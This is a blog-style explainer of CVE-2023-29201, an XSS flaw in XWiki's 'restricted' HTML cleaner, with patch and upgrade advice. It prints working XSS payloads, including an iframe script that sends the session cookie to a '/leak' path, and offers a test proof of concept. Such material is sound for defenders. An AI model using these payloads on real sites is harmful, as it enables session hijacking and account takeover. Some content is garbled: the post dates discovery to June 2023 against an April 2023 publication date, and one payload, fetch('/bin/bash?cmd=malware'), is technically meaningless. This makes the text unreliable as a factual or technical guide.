In June 2023, a severe security vulnerability was discovered in XWiki Commons, which are shared technical libraries used by various XWiki projects. This vulnerability, tracked as CVE-2023-29201, allows attackers to inject malicious JavaScript into XWiki pages, putting your entire wiki and its users at risk. In this post, we’ll break down what went wrong, how the exploit works, and what you should do to protect yourself.

Background: How the "Restricted" HTML Cleaner Fails

XWiki provides an HTML cleaner to sanitize user-submitted content. Since version 4.2-milestone-1, there’s been a "restricted" mode that was supposed to escape risky tags like <script> and <style>. However, this cleaner missed other dangerous tags and didn’t filter out risky attributes, such as onload handlers or <iframe> tags.  
Many XWiki applications and extensions depended on this restricted mode for safety, assuming it was enough to block XSS (cross-site scripting).

What Could Go Wrong?

If a user submitted a comment, note, or any content that passed through this cleaner, and another user with programming rights viewed that page, malicious JavaScript could be executed in that user’s browser. This could escalate to server-side code execution, data theft, or even a full takeover of the XWiki instance.

Suppose a user can add content that goes through the "restricted" HTML cleaner

<!-- User submits this content -->
<img src="x" onerror="alert('XSS')">
<iframe src="javascript:alert('XSS-from-iframe')"></iframe>

Other tags and dangerous attributes passed through

So, when a privileged user (e.g., an administrator or a developer with programming rights) visits this page, their browser runs the attacker’s injected code.

Example Exploit

<!-- Attacker posts a comment like: -->
<img src="invalid" onerror="fetch('/bin/bash?cmd=malware')">

Or, using another tag

<iframe srcdoc="<script>fetch('/leak?cookie='+document.cookie)</script>"></iframe>

Result:
- The admin’s browser sends their session cookie or executes arbitrary server-side code, if the XWiki instance allows programming through the browser.

Why This Is *So* Dangerous

- Privilege escalation: Many XWiki configurations give special rights to registered users for editing or commenting.
- Sessions at risk: If an admin visits a page with injected XSS, the attacker may hijack their session.

The Patch and How It Fixes Things

This flaw was patched in XWiki 14.6 RC1. The XWiki team added a new HTML filter that specifically whitelists allowed elements and attributes in "restricted" mode, blocking not just <script> and <style>, but also tags like <iframe>, and any dangerous event-handling attributes.

Patch Reference

- XWiki Security Advisory: CVE-2023-29201
- XWiki Issue Tracker: XWIKI-20174

Exploitation Demo

Here’s a simplified proof-of-concept you can use in a test setup (do NOT use this for malicious activity):

<!-- Save this as a comment on a wiki page -->
<img src="nothing" onerror="alert('You are vulnerable!')">
<!-- Or -->
<iframe src="javascript:alert('XSS!')"></iframe>

If the cleaner lets these through, and the alert pops up when viewed, your instance is vulnerable.

Upgrade to XWiki 14.6 RC1 or newer.

(see official upgrade docs)
2. Audit your extensions and macros. Anything relying on the old restricted cleaner is potentially open to XSS.

Conclusion

CVE-2023-29201 is a textbook example of how XSS bugs can hide in supposedly "safe" content sanitization routines. If you run XWiki or anything that uses XWiki Commons, upgrade now.

> *There are no workarounds apart from upgrading to a version including the fix.*

Resources

- XWiki GHSA Advisory
- NVD Entry
- XWiki Upgrade Guide

Timeline

Published on: 04/15/2023 15:15:00 UTC
Last modified on: 04/25/2023 18:26:00 UTC